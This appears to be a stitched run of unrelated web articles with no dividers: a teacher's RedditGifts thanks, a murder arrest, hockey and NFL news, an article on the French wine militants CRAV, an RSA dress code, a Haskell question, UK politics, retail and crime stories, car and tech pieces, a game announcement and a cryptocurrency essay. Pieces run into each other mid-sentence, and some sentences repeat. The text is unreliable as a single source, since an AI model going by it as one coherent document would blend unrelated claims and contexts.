This is my first RedditGifts exchange and I was absolutely floored by the generosity of tiger-dragon. He sent almost 1000 stickers, 500 erasers, 100 pens, 100 mystery prizes, 10 boxes of crayons, and 8 colorful whiteboard markers. Things to help out around the office, like Lysol disinfectant wipes, Kleenex, electric pencil sharpener, and grading crayons. American candy the Korean kids have never tried, like WarHeads and Reese's Peanut Butter Cups. Games to make the classroom more fun, like a basketball hoop, Mad Libs, Scrabble Sentence Maker, Answer Buzzers, sentence making cards, conversation starting cards, Raffi CD collection, and playing cards. Finally, he looked into my Reddit profile and found that I am a Christian, as is he, so he sent me his favorite book by CS Lewis. Inside the book, Weight of Glory, was a little thank you note with $100 cash inside! I couldn't even BELIEVE it all when I was opening the gift. I completely teared up as I was opening the presents and have had the best week of my teaching career since. It has been absolutely amazing getting to pass out all of these presents. When the students answer a question, they get to shoot a basket or draw a card. When they get 100% on their vocabulary test ("Vitamin Test", we call them), then they get a cute little Vitamin Pen. If they do something special or do extra work, then they get to draw from the prize bucket. Class has turned into something completely different; the kids are studying harder than they ever had and are having way more fun while doing so.
Thank you SO much tiger-dragon! On behalf of my 90 some students and myself - thank you, thank you, thank you!!Bryan Santana, the alleged murderer of his house-mate, Shelby Fazio (Picture: Facebook)
A pizza deliveryman has been arrested and charged for stabbing and strangling his house-mate to death.
To add to the depraved nature of this crime, according to Bryan Santana’s arrest report, ‘he stated that he later had sexual intercourse with her body after she was dead.’
After being questioned by police, 20-year-old Santana allegedly confessed to choking 23-year-old Shelby Fazio from behind before stabbing her in the neck.
He was reported by Orlando police to have attempted to kill his other house-mate and had planned to buy a BB gun in attempt to ‘commit suicide by cop.’
23-year-old Shelby Fazio (Picture: Facebook)
John Heermance, 23, told police he had returned to the Florida home he shared with Santana to find blood smeared along the walls leading to Ms Fazio’s bedroom
The arrest report stated he then saw Santana washing his hands in the sink, and ran for his room to grab his phone and car keys.
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Heermance told police his housemate then pounced on him from behind with a pepper spray and a knife but he was able to run off and call for help.
It was then that Santana allegedly went for a haircut before he planned to buy his fake gun from the local Walmart.
The owner of the hair salon described to Channel 9 news the moment, the suspect being arrested: ‘His eyes were big and [he] said, ‘I’m going to jail,’ so he knew it was over.’The New York Rangers proved that winning the Presidents' Trophy as the NHL's best regular-season team means absolutely nothing in the postseason.
New York finished with a 53-22-7 record for 113 points but lost in the Eastern Conference finals to the Tampa Bay Lightning. What made it worse for the Rangers is they lost Game 7 on home ice at Madison Square Garden.
A loss like that will make for a long summer.
Other than the need for a backup goaltender this offseason, new Rangers general manager Jeff Gorton doesn’t need to tweak the organization’s roster. With a world-class goaltender like Henrik Lundqvist, a solid veteran core, and an extremely talented group of young players, the Rangers are poised for many more trips to the Stanley Cup playoffs.
The Rangers reached the Stanley Cup finals in 2014, but eventually lost to the Los Angeles Kings. With consecutive deep postseason runs, the Rangers have the experience and the players to hoist the Stanley Cup for the first time since 1994.
The Rangers have the potential, it’s only a matter of finishing the job and that preparation begins in the offseason, according to Rangers star forward Chris Kreider.
"A lot of teams within our division made moves -- a lot of moves. We're a young team and guys have to put in the work this offseason and we have to build from within,” Kreider told ESPN.com. “We've got to step up and take a larger role as individuals and contribute more and be more consistent across the board. The leaders will set the tone and we've got a really good group of vets, so it's up to the young guys to follow."
Kreider finished the 2014-15 season with 21 goals and 25 assists for 46 points, including a plus-24 rating in 80 games. The 24-year-old added seven goals and two assists for nine points in 19 postseason games.
Kreider and former Rangers defenseman and Hall of Famer Brian Leetch recently participated in a charity hockey game to benefit ALS. Leetch was a member of that 1994 Stanley Cup winning team and he also won the Conn Smythe as playoff MVP. He spent 17 seasons in New York before finishing his career with the Boston Bruins in 2005-06.
Even Leetch understands the Rangers are on the verge of winning again.
"The big key is Lundqvist and he's still in his prime,” Leetch told ESPN.com. “When you have one of the best goalies in the world you're always going to have a legitimate chance if he stays healthy, and the core is ready to go in the playoffs.
"But it's a grind to get into those playoffs. You've got to play well at the start, and not hit that bad spell of injuries where you're fighting to get back into it. But once you're in, and you look at those eight playoff teams it's hard for me to say one through eight that one of those teams doesn't have a chance to make the finals. It's exciting as a fan, but it's tough as a management team and as players because it's a lot of work to get in there and just as hard to beat those teams in the finals."
The Rangers will be without the veteran presence of Martin St. Louis.
After 16 seasons in the NHL, St. Louis announced his retirement in early July. He spent the majority of his career with the Tampa Bay Lightning and won a Stanley Cup there, but he asked to be traded during the 2013-14 season and finished his career in New York.
Kreider and St. Louis were linemates for the Rangers, so when the future Hall of Famer decided to hang up his skates, Kreider had nothing but admiration and respect for his former teammate.
"I didn't have many posters in my room growing up. I had a Stanley Cup poster, a U.S. poster and a Marty St. Louis poster. I told him that but I waited for him to retire to tell him that; I didn't tell him when he was still on my line," Kreider said. "Personally, he meant a lot to me. Both my parents are Vermont grads and he's their favorite player. He just did so much for the game, so much for whatever community he was in at the time and I think he'll continue to do that. He's just an awesome guy and I feel lucky to have played with him and pick his brain on a day-to-day basis. To call him a friend is special."
Thanks to the work done to draft, sign and develop players within the organization, while adding veteran pieces to go along with Lundqvist in net, the Rangers are perennial Stanley Cup contenders. They’re only missing one thing, and Kreider can’t wait for another opportunity next season to reach hockey’s ultimate goal.Comité Régional d'Action Viticole (CRAV, Regional Committee for Viticultural Action), or sometimes Comité d'action viticole (CAV, Committee for Viticultural Action) is a group of militant French wine producers. It has claimed responsibility for numerous attacks including dynamiting grocery stores, a winery, the agriculture ministry offices in two cities, burning a car at another, hijacking a tanker, and destroying large quantities of non-French wine.[2][3]
CRAV is mainly active in Languedoc-Roussillon in the south of France, which is the French wine region which the group believes has been plagued by surplus production and a subsequent need to adapt the quality and quantity of wine produced to changing market realities, including reduced domestic demand for simple wine for everyday consumption. This process, which has involved considerable European Union subsidies, has had negative effects on smaller producers and has met with various protests, of which CRAV is the most violent.
CRAV's publicised demands have regularly included elements which are more-or-less impossible for French politicians to implement under European Union rules, since they would mean interfering with the single market and introducing national subsidies on top of the Common Agricultural Policy. The group has called for higher restrictive tariffs against the rising imports of Spanish and Italian wine, where lower social costs, less red tape and a different industry structure leads to more economical wine production. Consumer preference for wine brands, uncomplicated wine labels, varietal labelling, and New World wine styles has also led to expanding exports from Australia, Chile, the United States, and other New World producers.
Frustration spreads far beyond radical producers. "Each bottle of American and Australian wine that lands in Europe is a bomb targeted at the heart of our rich European culture," argues grower Aime Guibert.[4] The French manager for the E. & J. Gallo Winery, Sylvain Removille, reports that he and his sales staff have repeatedly been physically assaulted.[5]
On the 17th of May, 2007, the group released a video in which it was stated that blood would flow if Nicolas Sarkozy failed to act to raise the price of wine.[6]
Attacks [ edit ]
A CRAV terrorist group enters the administrative offices of Vinadeis on July 20, 2016
In 2009 CRAV continued their actions against both bottlers and wine importers, including arson and the placing explosives at importer's facilities.[7][8]
On 6 March 2006, over 120 masked men, armed with crowbars, attacked two warehouses in Sète, emptying the tanks of thousands of gallons of wine. [1]
In 2008, they attacked a building in Narbonne. [9]
In July 2013, the Socialist Party headquarters in the town of Carcassonne was bombed overnight. A canister-based device was used, and the outside of the building sprayed with the word CAV. [9] [10] The local school was also damaged. [9]
The local school was also damaged. In early 2014, a letter was sent to members of the family owning the Chateau de la Rivere, saying that "James Grégoire has paid with his life for selling his estate, Château de la Rivière, to a foreigner exactly 10 days after our warning... The Chinese buyer, Lam Kok, has also paid with his life.". [11] The former head of the Chateau, James Grégoire, had died in a helicopter crash ten days prior, along with the Chinese buyer Lam Kok, his son, and an interpreter. [11] The letter was signed Comité d'action agricoles along with a phrase in Occitan, reading "we want to live in our own country". Police were not convinced of the claims, however. [11]
. The former head of the Chateau, James Grégoire, had died in a helicopter crash ten days prior, along with the Chinese buyer Lam Kok, his son, and an interpreter. The letter was signed along with a phrase in Occitan, reading "we want to live in our own country". Police were not convinced of the claims, however. In March 2014, a telephone exchange was attacked near Toulouse, with CRAV graffiti left at the scene. [12]
In April 2015, coinciding with protests in Paris and Brussels, an attack was carried out on the A9 autoroute. [13] Over 100 winemakers had gathered at a toll point in Boulou. [13] They attacked five Spanish wine tankers - two were fully emptied, and three were allowed to leave half empty with "ILLEGAL WINE" sprayed on the trailers. [13]
Over 100 winemakers had gathered at a toll point in Boulou. They attacked five Spanish wine tankers - two were fully emptied, and three were allowed to leave half empty with "ILLEGAL WINE" sprayed on the trailers. In July 2016, an arson attack was carried out at the tasting room of the Jean Gleyzes estate, in Ouveillan, and the wall daubed with "Fraudeur, Bandit, CAV". [14]
Also in July 2016, thirty masked men broke into the Vinadeis company offices in Maureilhan, and attacked the office equipment inside with crowbars and hammers, while others set fire to tyres inside. [15] They also tried to empty the wine vats, but found them already empty. [15]
They also tried to empty the wine vats, but found them already empty. In August 2016, CRAV attacked five wine vats belonging to distribution company Biron in the French town of Sète, releasing thousands of litres of wine which flooded into local properties.[16][17] Emergency services had to step in to prevent the floods from causing too much damage.[16]
See also [ edit ]New England Patriots linebacker Brandon Spikes was surprisingly placed on injured reserve last week, even though he had been able to play at a high level with a lingering knee problem.
A source close to Spikes told NFL Media Insider Ian Rapoport that the run-stopper was not moved to IR as punishment for being late to a team meeting last Friday, as ESPN reported.
Now, Spikes' representatives have released a statement insisting the injured reserve designation "was not a mutual decision."
"Brandon had every intention to keep playing throughout the playoffs, despite the pain he was experiencing throughout the season," the statement said. "We never had a single conversation with the Patriots in which they threatened to release him if he didn't accept the injured reserve designation."
Spikes is due to reach free agency in March. The Patriots will likely move on after watching 2013 second-round draft pick Jamie Collins play like a multidimensional star in the divisional round victory over the Colts.
The Patriots can slide Dont'a Hightower into Spikes' role and allow Collins to freelance.
The latest "Around The League Podcast" broke down all four divisional round games and looked ahead to a monster conference championship weekend.The organizers of this year's RSA security conference have made at least one thing clear to exhibitors: no booth babes.
The industry shindig has sent out a new dress code banning scantily clad models, regardless of gender, from wandering the show floor.
The rules dictate that exhibitors cannot wear shorts, tank tops and halter tops, miniskirts or tops that show "excessive cleavage." Lycra body suits are also out, as are "objectionable or offensive" costumes. Anyone breaking the rules will be thrown out of the four-day conference, due to kick off on April 20 in San Francisco, California.
The rules apply to men, though we doubt it will have much of an impact; male booth, er, hunks are few and far between. Flocks of buxom young ladies handing out fliers and posing for photos is an all-too depressing sight at tech conferences.
Dress code... Rules sent to RSA Conference exhibitors for the 2015 event
The hiring of booth babes is coming under fire more and more, with critics arguing that the practice is sexist, insulting, and encourages harassment of attendees and exhibitors who are women.
A number of prominent trade shows, most notably the Shanghai Auto Show, have issued similar rules banning exhibitors from dressing booth staff in revealing clothing.
People shouldn't (just) be upset that RSA had booth babes. They should be terrified that security purchasing decisions were based on them. — Matthew Green (@matthew_d_green) March 26, 2015
The RSA conference usually has relatively far fewer booth babes than most conferences due to its decidedly enterprise focus. With the new rules in place, the practice will likely be all but eliminated, forcing exhibitors to rely on the good looks and charm of their own staff or PR agency. ®I've been fiddling around with the Elm compiler, which is written in Haskell.
I'd like to start implementing some optimizations for it, and part of this involves traversing the AST and adding "annotation" to certain nodes, such as tail-calls, etc.
I know I can use SYB or uniplate to do the traversal, but I'm wondering if there's a boilerplate-free way to deal with the types.
So, suppose we have a bunch of algebraic types for our AST:
data Expr = PlusExpr Expr Expr... data Def = TypeAlias String [String] Type...
If I were writing the boilerplate, I'd make new types like this:
data AnnotatedExpr = PlusExpr Expr Expr [Annotation]... data AnnotatedDef = TypeAlias String [String] Type [Annotation]...
This is a lot of boilderplate to write, and it seems like good practice to avoid this.
I could write something like this:
Data AnnotationTree = Leaf [Annotation] | Internal [AnnotationTree] [Annotation]
Then I'd just have an annotation tree running parallel to the AST. But there is no guarantee that these trees will have the same structure, so we lose type safety.
So I'm wondering, is there an elegant/recommended solution to avoid boilerplate but still annotate a tree in a type-safe way? To replace each node with an equivalent one, plus a list of annotations which will be used in compilation later?Few things are certain in this election, but the presence of a lot more SNP members in the next parliament looks pretty much guaranteed. So far the significance of this change has been discussed exclusively in terms of the balance of power on the floor of the Commons – the capacity to support a Labour government or obstruct a Tory one. That is certainly the first and the biggest impact a regiment of Scottish nationalists would have.
But it isn’t the only one.
Parliamentary authorities are, I’m told, scratching their heads wondering about all the other bits of the legislature that will be affected by an SNP surge. Take select committees, for example. Control of the chair is allocated to parties using a formula based on the number of seats they win, with some discretion enjoyed by the Speaker. There are some conventions that dictate who gets what: the main opposition usually has public accounts; the government gets Treasury. But much of the rest is settled through “the usual channels” – the informal deal-making process between whips’ offices.
How the “usual channels” work in practice is one of the most opaque features of British politics – a mysterious stash of legislative WD40 that lubricates the wheels of parliament in all kinds of sticky situations. It is the most Westminstery institution in Westminster and no one is quite sure how the SNP will play that game – if indeed they choose to play at all.
In the last parliament they had six MPs; in the next one they could have as many as 50. That would, presumably, entitle them to an allocation of select committee posts equivalent to the Lib Dems’ former tally (including two chairs – currently justice and international development). But what policy areas are appropriate for a party that represents a devolved nation?
The Lib Dem whips might even be evicted from their premier league offices by the members’ lobby and banished to a broom cupboard upstairs, which may sound like a minor inconvenience but would be a significant demotion in parliamentary authority. A lot of power and status is settled by office geography in the Palace of Westminster.
These are, of course, secondary considerations to the bigger matter of passing legislation in the Commons chamber. But the issues are intertwined. The Conservatives are currently campaigning on the premise that Scottish nationalists would be second-class MPs with no legitimate mandate to decide what happens in England. But that isn’t how parliament works and it isn’t how the Tories would have to behave in practice.
All the tools of legislative influence, mischief-making and subterfuge – ambushing amendments, private members’ bills, filibusters and the rest – would be as available to the new Scottish cohort as to anyone else. To manage that threat, the “usual channels” would have to be open. In other words, a Tory-led government would have no choice but to find a way of doing business with the SNP.
It is also worth noting in this context that the Speaker’s role will be greatly enhanced in a parliament as hung as the next one looks likely to be. In which case, the Conservatives will pay a price for dedicating the last day of the last session to a botched coup against John Bercow. The first weeks of the next parliament will be all about making friends and influencing people in the corridors of Westminster. The Tories may come to regret working so hard to foster alienation and enmity.Apple boss Tim Cook has ordered that shop staff be retrained on “inclusion and customer engagement” after a group of black teenagers was told to leave a store in Melbourne, Australia because staff were worried they “might steal something”.
A video of the interaction between a Highpoint Apple store staff member and a group of students was uploaded to Facebook on Tuesday night and has now been shared more than 222,400 times.
In a letter to staff obtained by Buzzfeed News Cook called the situation “unacceptable”.
“What people have seen and heard from watching the video on the web does not represent our values. It is not a message we would ever want to deliver to a customer or hear ourselves,” Cook wrote in the companywide email. “None of us are happy with the way this was handled.
“Our store leadership teams around the world, starting in Australia, will be refreshing their training on inclusion and customer engagement. These are concepts and practices they know well, but can always stand to reinforce,” he wrote.
The video shows six boys from Maribyrnong College being denied entry to the Apple store by a staff member and two security guards. “These guys [security guards] are just a bit worried about your presence in our store. They’re just worried you might steal something,” the Apple staff member says in the video. A member of the group replied: “Why would we steal something?”
Cook cites comments by “Kate, one of the senior managers at the Highpoint store” who met with the group to apologise. “She reassured these young men that they and their fellow classmates would always be welcome at our store. The school’s principal later told a reporter that she delivered her message ‘with good grace’, and one of the students said, ‘It feels like we have justice now.’ Her words that day echoed a message you’ve heard many times from me and from Angela [Ahrendts, senior vice-president of retail and online stores]. It’s a simple pledge we all make to our customers and to ourselves: Apple is open,” wrote Cook.Please enable Javascript to watch this video
ROUND LAKE BEACH, Ill. – Three teens have been charged after a suburban father was killed while trying to sell his iPhone using the popular app OfferUp.
Police say 43-year-old Trinidad Bueno-Sanchez of North Chicago, a married man with a 6-year-old child, did everything right when trying to sell his cell phone.
Using OfferUp, he found a potential buyer who expressed interest in purchasing his iPhone 6 for $450, and agreed to meet them in the parking lot of a Meijer store in Round Lake Beach the evening of April 24.
Five teens met him in the lot. Police said Bueno-Sanchez leaned inside the suspects’ vehicle during the exchange.
“They asked to see the phone so he handed them the phone,” said Round Lake Beach Police Deputy Chief Mike Scott. “Then they handed him an envelope that was supposed to be the money for the phone. But turned out there was just a few dollars in there.”
At that point, police say the teens knew the victim was on to them and sped off. But Bueno-Sanchez was still leaning through the window. He was dragged along with the car before falling and hitting his head on the pavement. He was taken to a hospital in Libertyville where he was put on life support, and he died three days later. After an autopsy, the Lake County Coroner ruled his death a homicide caused by head trauma.
A passenger in the car at the time of the incident, 18-year-old Courtney Sherman of Fox Lake is one of three teens charged with reckless homicide and robbery. She's being held on $500,000 bail. A 16- and 17-year-old are also charged and being held at a juvenile detention center in Vernon Hills.
“Young people don't think of the ramifications of their actions,” Deputy Chief Scott said. “They think of what they're planning on doing and they don't think of the things that can go wrong … with this, everything that could have went wrong did, and it can't get more serious than it is right now.”By the time the final showdown took place six weeks later, the mood had turned desperate. Most of the protesters heeded the politicians’ calls to refrain from violence, barricading themselves inside Amona’s homes, linking arms and singing “Al Tira, Israel,” “Don’t Fear, Israel,” as they were yanked away. But others threw rocks, paint, bleach, and bottles at the police and paramilitary.
The evacuation culminated in a standoff at the Amona synagogue, where protesters fought the police off with tear gas, pepper spray, iron bars, and rocks, the police said. On the wall inside the synagogue, someone had drawn the police logo with a swastika and the phrase “Ishmael Police,” equating Israel’s police with the biblical figure who gave rise to the Arab nation, according to tradition. Other graffiti blamed “Zionists from hell” for the evacuation.
With the evacuation underway, Israeli Prime Minister Benjamin Netanyahu announced that he would build a settlement somewhere in the West Bank to house the families of Amona—the first new one in nearly 26 years. This followed announcements that Israel would build 5,500 housing units in the West Bank and another nearly 600 in East Jerusalem. Estimates place the overall settler population in the West Bank and East Jerusalem between 600,000 and 750,000.
In the past, such behavior would have drawn intense rebuke from the U.S. administration for undermining the two-state solution. But Donald Trump has broken with decades of American foreign policy by declaring that he views settlements as no obstacle to peace, although the White House recently warned that building new ones “may not be helpful.”
On Monday night, the Israeli parliament passed 60-52 a bill that would allow the government to declare private Palestinian lands where settlements had been built “in good faith or at the state’s instruction” as Israeli state property. Netanyahu had informed the White House that he would be putting the bill to a vote, and ignored a warning from British Prime Minister Theresa May that such a move would further isolate Israel around the world. The bill will almost certainly be challenged in the High Court.
Two days after the Amona evacuation, the Greenberg brothers, both in spectacles and knitted skullcaps, were sitting down for a lunch of schnitzel, cabbage, and rice in a cafeteria at Ofra, a nearby settlement now sheltering several of Amona’s 41 families. The brothers could have joined their family at their grandmother’s home in another settlement, but they preferred the company of their neighbors from Amona, choosing to sleep in bunk beds at the Ofra girls’ school. “It’s important to stay together,” said Yotam.
Yotam never expected the protest to reverse the evacuation, but he said it was important to register his complaint with the world that Jews were being uprooted from land that he believed God had granted them. Unlike those who painted the graffiti, he said he had nothing against the police who evacuated his family, seeing them as unwitting pawns of the government.Unlike many British car fans, I like the XK150 better than both the 140 and 120 variants (heresy, I know)! With four wheel disc brakes, more performance, and in the coupe version a more pleasing roof line (several Jaguar XK fans are going into apoplexy right now), I have wondered many times whether a 150 coupe would be right for me. This particular example is found in Santa Ana, California and was discovered by our own Josh M. It’s listed for sale here on eBay, with a buy it now price of $22,950, but since it’s a dealership I suspect the real price is below that.
I’ve never really cared for the “tucked in” look of the 120 and 140 coupes, but this shot shows off the beautful, flowing lines of the 150 coupe very well. The sheetmetal looks like it had been partially stripped at some point, which validates the story as told in the ad. I believe that tan color is actually light surface rust, and the remaining creamy white is the original color.
I’m guessing the tail down, nose high may be due to a missing radiator and some engine parts being in the trunk. Can you see some C-Type in that front fender like I do? The underside of the car has been cleaned and looks remarkably solid, with mostly original paint showing. You’ll also need to come up with the “finishers” for the front and rear windows. This place has the front set for about $450. The rear, on the other hand, is over $1,100 (gulp!).
Naturally, the interior needs pretty much everything. You’ll save on pedal pads, though, as this is an automatic version. Not my choice, but I wouldn’t kick it out of the garage! Plan on over $5,500 of materials for just the soft goods to do it right. Another $3,200 or so on wood and you’ll be ready to go. Ouch!
While this is a correct specification 3.4 liter XK 6-cylinder engine, it is from a later car based on engine numbers. It also doesn’t turn freely and is partially disassembled. Plan on a full rebuild. That won’t be cheap either. Ultimately, this may be right for someone, but not for me. But what about you–are you interested? What’s your favorite XK Jaguar?You might think of Google Glass as one of those tech creations that's more intriguing than practical. You might see computerized eyewear as a Silicon Valley nerd fantasy that's unlikely to change the way the rest of the world works. You would not be alone.
But that's not how Michael Chagala sees it. Chagala is the director of IT at Sullivan Solar Power, which is slipping Google Glass onto the heads of the field technicians who install its solar panels atop homes and businesses across Southern California.
Because every building is unique, these field techs need ready access to all sorts of specs and plans describing the job at hand. In the past, they've carried three-ring binders onto the roof, but those are so hard to handle – particularly when the wind is blowing pages. They've lugged laptops up there too, but that comes with its own problems, including, well, the sun. So Chagala and company are switching to Glass, allowing their techs to browse documents simply by looking through the eyewear. For the most part, they can do this without using their hands – though you do have to tap the side of the glasses to move from doc to doc.
"When you have someone on a roof, safety is your primary concern," Chagala says. "Having both hands free is significant."
Though Google Glass has limitations – including an undeniable geekiness – it can be quite useful. Some are exploring how it can serve people with autism and other disabilities. Tech outfits such as Workday and Fiberlink are building Glass apps for corporate workers. Now Sullivan Solar is taking the digital eyewear into the world of blue collar work.
Lead by Chagala, the company has built a custom Glass app that taps into a database housing its customer records, information about particular job sites, and its inventory of parts and equipment. But its technicians also will use other tools available with the eyewear. A field worker can, say, call headquarters with questions or transmit live video of a roof installation to get some feedback.
Chagala came up with the idea about a year ago. "I actually got my first Glass on eBay," he says. "We started development on the app before we even got the device." The company still has only the single pair, which must be shared among the field crews and the development team, but Chagala hopes to get more in the coming year as Google expands distribution.
At this stage, Chagala says, building an app for Google Glass isn't like building for a mobile phone. "It's really hard to fit all this info onto such a small screen," he says. "There are established design patterns for a mobile phone app, such as where to put different buttons, but none of those patterns pre-exist for Google Glass. You sort of have to use your own judgement in how it will be used."
But after several months of development, the app is in working order, and it's already used in the field. "I'm confident that there will be measurable benefits, but it's a little early to quantify," Chagala says. "Feedback from field technicians has been very positive."
He says other departments at the company are exploring the use of Glass as well. One big possibility is a training tool for new employees. An employee's first jobs could be recorded and reviewed later, he says. Glass is still a long way from significantly remaking the way the company works, but the point is that Chagala believes it can.Zeku, the last character in Season 2, will officially leap into Street Fighter V on October 24! Learn more about the Ever-Changing after the jump.
First seen in Street Fighter Alpha 2, Zeku was Guy’s former teacher, who taught him to master Bushinryu, a style of ninjutsu. Eventually, Guy was able to obtain the title of 39th Master of Bushinryu. Zeku then disappeared and was never seen again…until now! Zeku has reappeared looking to start his own ninja group and find a new fighting style.
His younger version sure looks familiar!
For players who want to learn the art of Zeku, it will require intense training to hone his multiple skill sets due to his ability to transform. His older self has slower moves and a special flip in the air, which can be followed up with different options to keep the opponent guessing. His younger self is quicker and has a short run, which can also open up opponents.
V-Skill: Fukuro (Older Self), Tenpo Kari (Younger Self)
Zeku performs a special technique that transforms him to his younger self, completely changing his move set. He can then use Tenpo Kari to transform back. Depending on the directional input you press after the V-Skill connects, Zeku will teleport either in front or behind the opponent.
V-Trigger: Bushinryu Shinge Kiko
Allows Zeku to perform a single special dash that can be followed up with a custom combo that deals additional hits. Both forms have the same V-Trigger.
Critical Art: Batsuzan Gaisei
Upon kicking the opponent in the air, Zeku follows up with a flurry of strikes while switching forms before stomping them into the ground. Zeku’s Critical Art is the same for both forms.
Coming alongside Zeku on October 24 are his Story, Battle, and Nostalgia Costumes as seen below:
The Season 2 Character Pass is available for $29.99 / €29.99 / £24.99 and will grant pass holders with Akuma, Kolin, Ed, Abigail, Menat, and Zeku! The pass includes Premium Battle Costumes with colors 3-10 unlocked and default costume colors 3-10 for each character. Season 2 Character Pass holders will also receive an exclusive PS4 theme!
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are simply moving to the federal exchange as a convenient method of alleviating the problems with their own exchanges, it is a short-sighted solution,” said Sen. Orrin Hatch, the top Republican on the Senate Finance Committee. “Nothing is more important right now than for Congress to find out what went wrong and why.”
Nevada in mid-May became the latest to scrap its system and opt into HealthCare.gov. A few days earlier, Oregon had bailed on its $250 million exchange. Massachusetts is still trying to salvage its exchange, but it’s also laying the groundwork to join HealthCare.gov.
Hawaii and Minnesota both insist they are moving ahead with their underperforming exchanges; skeptics predict they’ll have to jettison them and join the federal system sooner rather than later. And some small states with high-performing exchanges may have trouble keeping them over the long haul as federal financial support ends.
Connecticut’s exchange performed so well that Maryland wants to buy it and graft it onto its own broken one, but even the director of Connecticut’s exchange, Kevin Counihan, doubts that all the small states will be viable. “There’s going to be some consolidation there, some going to the federal exchange,” he predicted. “We don’t need 50 of these. And having this really functional federal exchange is really very, very desirable.”
Follow @politicoA professor who has been teaching conspiracy theories for 13 years and spreading false theories about the 2012 Sandy Hook shooting is finally facing termination at Florida Atlantic University.
According to The New York Times, James Tracy, a professor in the school of communication and media studies who teaches a course on conspiracies, has been accused of harassment by the parents of a 6-year-old boy who was killed in the shooting.
A statement released by the university said that action was taken “in light of “numerous requests from media outlets and the public”:
Today, James Tracy, an associate professor in the School of Communication and Multimedia Studies, was served a Notice of Proposed Discipline — Termination by the Vice Provost for Academic Affairs at Florida Atlantic University.
Tracy has ten days to respond to the university’s request.
The termination comes after the boy’s parents, Lenny and Veronique Pozner, published an op-ed in The Sun Sentinel, the local newspaper of Broward County, Florida. In the article, the couple said that Tracy led a group of people in “a wave of harassment, intimidation and criminal activity against our family and others” in an effort to promote a conspiracy theory about the shooting.
“They seek us out and accuse us of being government agents who are faking our grief and lying about our loss.”
It should come as no surprise, however, that Tracy is a Sandy Hook “truther”—the course he teaches at the university is called “Culture of Conspiracy,” and presents conspiracy theories about major attacks and assassinations in U.S. history, including the September 11, 2001 attacks.
In a Facebook post titled “No One Died at Sandy Hook” on the group Sandy Hook Hoax, Tracy allegedly wrote of the attacks that killed 20 children and six adults:
Don’t take my word for it. Just do a search on the title for a free copy of the book. The Pozners, alas, are as phony as the drill itself, and profiting handsomely from the fake death of their son.
Tracy insists that the shooting, along with others, are staged in an attempt to promote more secure gun control measures.
And if that isn’t bad enough and you haven’t had your fill of hate-reading Tracy’s theories, take a look at his explanation—one that has been widely, irrevocably, and forcefully debunked—of why the Sandy Hook shootings didn’t happen.MINI augmented vision eyewear enhances safety using head-up display
MINI augmented vision eyewear enhances safety using head-up display
all images courtesy of BMW group
unveiled at the 2015 auto shanghai show, the MINI ‘augmented vision’ eyewear concept provides improved comfort and safety, using see-through technology and a head-up display. representing the brand’s flair and creativity, the prototype was created with the help of designworks and developed in collaboration with several qualcomm companies. the augmented reality headwear shows relevant information in the driver’s direct field of vision, most commonly just above the steering wheel, but without concealing other road users. destination navigation, augmented parking and miles traveled are functions that are provided by the device. as well as this, its contact-analogue and points of interest feature displays turning arrows and useful marks to highlight places such as open parking spaces. furthermore, the X-ray view offers a virtual perspective through parts of the vehicle such as the A-pillars and doors, that are not usually visible.
‘MINI augmented vision gives an insight into how intelligent connectivity between a MINI car and eyewear into which relevant content is projected might work in the future,’ explains Dr. jörg preißinger, project-manager MINI augmented vision, BMW group research and technology.
he added; ‘working with several qualcomm companies, we have created an interlinked system and augmented reality eyewear with a characteristic MINI design that revolutionise the experience both in and outside the vehicle. this prototype with its customised, interactive functions succeeds in fusing augmented reality with the brand’s trademark sense of lifestyle.’
its functions enable a more comfortable and safe driving experience
‘we are proud to have helped develop a breakthrough augmented reality interface between eyewear and the automobile,’ says jay wright, vice president, qualcomm connected experiences, inc. ‘MINI augmented vision offers a compelling example of what’s possible today, and what we can expect in the future.’
the information is displayed without concealing other road users
the X-ray view feature enables drivers to see through obstructive parts of the vehicle
the device was revealed at the 2015 auto shanghai show
side view of the MINI augmented vision concept
top view of the headwear
its controlling buttons are placed on the sideFewer than 24 hours remain for Beckett’s Jyhad Diary!
Press Releases, Vampire: The Masquerade
Our Kickstarter for a deluxe edition of Beckett’s Jyhad Diary has a mere 18 hours remaining as of this writing! We’re currently sitting at over 1000 backers contributing $106,000 (over 250% of our goal), and we’ve added six chapters on to the book so far.
The Dairy draws together plot threads from across the breadth of Vampire’s 25-year history, from the Dark Ages to the modern era, from 1st Edition to the 20th Anniversary Edition, from novels and VTES storylines to computer games and tabletop material.
Notable Add-Ons include a brand new set of premium V20 dice (mock-up shown below) and the ability to grab all previous Onyx Path V20 PDFs for only $90.
Don’t wait any longer! Become a backer for Beckett’s Jyhad Diary now!It will likely come as little or no surprise that cryptocurrencies like Bitcoin, Litecoin, and Dogecoin (my favorite) are frequent topics of conversation among futurist types. After all, they’re supposed to be paradigm-breaking disruptions of the status quo, or something. But I still haven’t gotten over my sense that something isn’t quite fully-baked about the current generation of digital currencies, and I’m going to spend my ~500 words here trying to spell out why.
Cryptocurrencies are computationally-derived mathematical artifacts intended to function as money -- they're to be used to store value and to be exchanged for goods and services. The difference between cryptocurrencies and the US Dollar (or other sovereign-state currency) is that the Dollar is backed by the "full faith and credit" of the United States, meaning that as long as the US is a functioning political entity, the dollar can be used to (at minimum) pay American taxes.
Conversely, cryptocurrencies are backed by mutual agreement; as long as the market for it exists, a cryptocurrency has some value. The logic behind cryptocurrencies isn't new, and can be seen in the various complementary currencies that have been used for decades in communities around the world, often (as with some cryptocurrencies) with an explicit social or political goal.
Many supporters of cryptocurrencies prefer to draw a parallel to gold, which is not under the control of any single political entity and does not have a set value, instead being priced based on how much people will pay for it (in another currency). This floating value of cryptocurrencies is one recognized challenge for their continued utility. As economist Paul Krugman and others have pointed out, gold has a minimum value, due to its use in industry and jewelry; cryptocurrencies have no minimum value, and could in principle crash to a level where they have effectively zero worth. Hoarding, regulatory decisions, and fraud can all cause wild swings in currency price.
This floating value, which for many cryptocurrencies can be extremely volatile, impedes use as stable media of exchange. If the trading value of a Bitcoin versus a Dollar varies throughout the day, a business owner that primarily buys and sells and pays taxes in Dollars takes a risk any time he or she sets a price in Bitcoins. Some businesses may be willing to swallow that risk in order to gain the support of Bitcoin advocates, but for many others, it's just not worth the hassle.
Solving the floating value problem will be difficult, not for arcane economic reasons, but because there are as yet no physical communities where a cryptocurrency serves as a primary currency, usable for a broad variety of run-of-the-mill transactions. No place for the currencies to create a persistent, mutually-understood perceived value outside of its value in exchange for a sovereign currency.
